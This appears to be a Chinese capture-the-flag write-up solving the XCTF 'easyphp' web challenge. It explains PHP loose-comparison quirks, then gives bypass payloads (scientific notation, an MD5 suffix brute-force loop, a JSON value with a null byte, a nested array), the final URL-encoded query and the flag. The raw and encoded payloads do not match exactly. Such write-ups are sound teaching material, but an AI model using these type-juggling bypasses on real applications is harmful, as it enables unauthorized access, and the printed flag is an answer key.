前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【愚公系列】2023年05月 攻防世界-Web(easyphp)

【愚公系列】2023年05月 攻防世界-Web(easyphp)

作者头像
愚公搬代码
发布2023-05-25 10:02:54
5490
发布2023-05-25 10:02:54
举报
文章被收录于专栏:历史专栏

前言

1.php中数字字符串

在 PHP 中,如果数字字符串和数字进行比较,会自动将数字字符串转换为数字。例如,“10” == 10 返回 true。但是,如果使用 === 进行比较(类型和数值都相等),则会返回 false,因为它们不是严格相等的。因此,在进行比较时,需要注意值的类型。

2.php中前导字符串

在PHP中,前导字符串比较时,会将字符串转换为数字进行比较,因此会出现一些意外的结果。例如,字符串"10 apples"会被转换为整数10,然后与数字10进行比较。因此,字符串"10 apples"和数字10会被视为相等,这可能会导致意外的结果。相比之下,数字比较会严格按照数字进行比较,不会受到前导字符串的干扰。

3.其余字符串

对于既不是数字字符串也不是前导数字字符串的字符串,只会在与数字进行弱类型比较时转化为数字,且只能转化为0。

一、easyphp

1.题目

在这里插入图片描述
在这里插入图片描述

2.答题

在这里插入图片描述
在这里插入图片描述

查看源码进行php特性绕过

1、用科学计数法绕过 a=1e9

代码语言:javascript
复制
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3) //$a=1e9

2、用php代码b的md5值的倒数6位为8b184b

代码语言:javascript
复制
if(isset($b) && '8b184b' === substr(md5($b),-6,6))

编写MD5碰撞脚本得到b=53724

代码语言:javascript
复制
<?php
for ($i = 1; $i < 100000; $i++) {
     if('8b184b' === substr(md5($i),-6,6)){
         echo($i);
     }
}
?>

3、绕过is_numeric函数

代码语言:javascript
复制
$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022)

c非空 且 不是数值类型(前面有个感叹号) 且 c的m键值要大于2022

代码语言:javascript
复制
$c=(array)json_decode(@$_GET['c']); //接收json格式的字符串并将其转化为数组
 
c={"m":"2033%00"}//使用%00可以绕过is_numeric函数

4、绕过is_array和array_search函数

array_search保证非0下标元素含0就行,字符串转数字都是0

代码语言:javascript
复制
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
    $d = array_search("DGGJ", $c["n"]);
    $d === false?die("no..."):NULL;
    foreach($c["n"] as $key=>$val){
        $val==="DGGJ"?die("no......"):NULL;
    }
    $key2 = 1;
}
代码语言:javascript
复制
c={"m":"2033%00","n":[[0,2],0]}
 
 
//对{"m":"2033%00","n":[[0,2],0]}进行url编码得到:
%7B%22m%22%3A%222033%2500%22%2C%22n%22%3A%5B%5B1%5D%2C0%5D%7D
代码语言:javascript
复制
?a=1e9&b=53724&c=%7B%22m%22%3A%222033%2500%22%2C%22n%22%3A%5B%5B1%5D%2C0%5D%7D
在这里插入图片描述
在这里插入图片描述

得到flag:cyberpeace{206912ba76c990c5bdeb51951fbf6b6a}

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023/05/25 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 1.php中数字字符串
  • 2.php中前导字符串
  • 3.其余字符串
  • 一、easyphp
    • 1.题目
      • 2.答题
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档